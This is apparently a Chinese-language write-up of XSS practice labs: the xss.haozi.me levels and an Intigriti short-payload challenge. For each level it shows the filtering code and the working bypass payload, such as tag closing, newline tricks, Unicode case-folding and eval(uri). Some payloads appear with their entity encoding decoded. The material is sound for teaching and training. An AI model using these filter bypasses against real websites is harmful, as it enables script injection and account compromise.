haozi 靶场
靶场网址:xss.haozi.me
0x00
源码
function render (input) { return '<div>' + input + '</div>'}没有任何限制,直接传入 script 块就行了
<script>alert(1)</script>0x01
源码
function render (input) { return '<textarea>' + input + '</textarea>'}<textarea> 标签会把里面的内容当作纯文本,闭合一下前面的标签就行了
</textarea><script>alert(1)</script>0x02
源码
function render (input) { return '<input type="name" value="' + input + '">'}输入内容被放在了 input 标签的 value 属性中,闭合 value 属性的引号和 input 标签的尖括号,回到 HTML 的环境中,再使用 <script> 标签就可以了。后面的内容用注释符注释掉就好了
"><script>alert(1)</script><!--0x03
源码
function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input}限制了小括号,用反引号绕过
<script>alert`1`</script><!--0x04
源码
function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input}限制了小括号和反引号,用实体编码绕过。实体编码可以在 img、bady 等标签的 onerror 属性、onload 属性中使用,因此这里选择使用 img 标签
<img src="x" onerror="alert(1)"/>0x05
function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->'}过滤了单行注释的后面那个注释符,用多行注释的注释符闭合就行了
--!><script>alert(1)</script>0x06
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">`}过滤了 auto 和右尖括号,不能选择闭合 input 标签了;还有一个比较有趣的匹配规则:on.*=/ig 会匹配 on 字符后面除了换行符以外的任何字符后的等号,因为不包含换行符,因此可以将 on 字符和等号写在两行,从而不会被正则规则匹配到。另外,当 input 标签的 type 属性为 image 时,会具有 img 标签的特性,因此可以利用这一点在 type 标签中触发 js 代码
type="image" src="x" onerror="alert(1)"0x07
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '') return `<article>${input}</article>`}过滤了 <任意大于 0 个的除了右尖括号以外的字符> 和 </任意大于 0 个的除了右尖括号以外的字符> 这样的结构,基本上是把 HTML 标签过滤完了。但是由于浏览器的兼容性,因此右尖括号不闭合的 html 标签同样也能使用
<img src="x" onerror="alert(1)"0x08
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> `}严格过滤了 <style> 标签,但是 HTML 标签在文字与右尖括号之间的空格不会影响解析,因此使用空格绕过
</style ><script>alert(1)</script>0x09
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL'}限制了传入的数据中必须要以 http://www.segmentfault.com 或 https://www.segmentfault.com 开头。这个网址本身就打不开,传入
http://www.segmentfault.com" onerror="alert(1)就能过。但是就算这个网址是正常的,也可以使用双写,让最终的网址不正常
https://www.segmentfault.comhttps://www.segmentfault.com" onerror="alert(1)0x0A
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') }
const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL'}将所有的特殊符号都变成了实体,并且仍然要求以 http://www.segmentfault.com 或 https://www.segmentfault.com 开头,也就是只能利用这个站点中的东西。实在没啥想法了,于是去看了 wp,发现 https://www.segmentfault.com.haozi.me/j.js 刚好是内容为 alert(1) 的 js 文件,因此直接使用这个就行了
https://www.segmentfault.com.haozi.me/j.js0x0B
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>`}将所有的内容都变成了大写。HTML 标签是大小写不敏感的,但是 js 是大小写敏感的,因此要想办法用另一种方式表示 js。我选择的是实体编码
<img src="x" onerror="alert(1)"/>0x0C
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>'}和上一关相比就多过滤了一个 script 的文字。但是上一关我没有使用 <script> 标签,因此和上一关一样过
<img src="x" onerror="alert(1)"/>0x0D
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> `}过滤了左尖括号、斜杠、引号,并且 alert 语句放在了 js 的单行注释中,换行就能跳出注释。对于后面遗留的 ') 部分,我们选择 js 中比较古老的单行注释符 -->。但是其必须位于一行的开头才能正常注释内容,因此需要再次换行
aalert(1);-->0x0E
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>'}将左尖括号后面连接的任意大小写字符变为 <_大小写字符 的结构。如果单纯只有这样的过滤,绕过会很困难;但是后面还有对所有字符进行大写的操作,而有一些字符不属于 ASCII 的范围,却在大写后变成标准的 ASCII 大写字符
<ımg src="x" onerror="alert(1)"/>0x0F
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">`}依旧是将大部分的特殊字符都变为实体,但是注入的位置在 img 标签的 onerror 属性中,因此实体也会被正常解析
');alert(1);//0x10
function render (input) { return `<script> window.data = ${input}</script> `}已经写了 <script> 的标签,js 语法中已经先尝试获取了一个值,因此先进行赋值,后面就可以执行想要的 js 语句
1;alert(1);0x11
function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return `<script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click()</script>`}会对特殊字符进行转义,但是注入的位置在 js 的字符串中,因此转义过的字符也会被正常解析
");alert(1)//0x12
function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>'}会将双引号转义,但是不会对转义符转义,因此我们可以转义转义符
\");alert(1)//XSS Challenge
靶场:https://challenge-0222.intigriti.io/
限制了长度必须小于等于 24 个字符,这个比较麻烦……题目要求我们执行 alert(document.domain),这样就有 22 的长度了,所以想要直接执行是不可能的。那就先观察
先传入一个 1 试试:

可以发现除了我们传入的内容作为 q 参数的内容之外,还存在一个 first 参数。网站源码中还写明了 js 脚本
window.name = 'XSS(eXtreme Short Scripting) Game'
function showModal(title, content) { var titleDOM = document.querySelector('#main-modal h3') var contentDOM = document.querySelector('#main-modal p') titleDOM.innerHTML = title contentDOM.innerHTML = content window['main-modal'].classList.remove('hide')}
window['main-form'].onsubmit = function(e) { e.preventDefault() var inputName = window['name-field'].value var isFirst = document.querySelector('input[type=radio]:checked').value if (!inputName.length) { showModal('Error!', "It's empty") return }
if (inputName.length > 24) { showModal('Error!', "Length exceeds 24, keep it short!") return }
window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst}
if (location.href.includes('q=')) { var uri = decodeURIComponent(location.href) var qs = uri.split('&first=')[0].split('?q=')[1] if (qs.length > 24) { showModal('Error!', "Length exceeds 24, keep it short!") } else { showModal('Welcome back!', qs) }}其中对做这道题有帮助的部分是
if (location.href.includes('q=')) { // 将 url 进行解码后赋值给 uri var uri = decodeURIComponent(location.href) // 截取出 q 参数的值 var qs = uri.split('&first=')[0].split('?q=')[1] // 对值进行判定,条件成立时返回 qs 中的内容 if (qs.length > 24) { showModal('Error!', "Length exceeds 24, keep it short!") } else { showModal('Welcome back!', qs) }}由此可知,在执行返回内容之前,网站就已经做了很多事情了;其中最有利用价值的,就是对 uri 进行了赋值并且没有任何的过滤。因此,我们可以在 first 参数中使用 \r\n 来新开一行,在使用 eval() 函数时能够执行新的一行的内容。因此,我们可以将原来的 alert(document.domain) 压缩至 eval(uri),少了 13 个字符的空间
接下来,就是如何在 15 的字符的空间内,执行 js 语句。如果使用 <script></script>,会有 17 个字符,多了一点点;使用 <svg onload=>,有 13 个字符,比要求还少了两个字符
因此,最后传入
?q=%3csvg%20onload%3deval(uri)%3e&first=yes%0aalert(document.domain)成功通关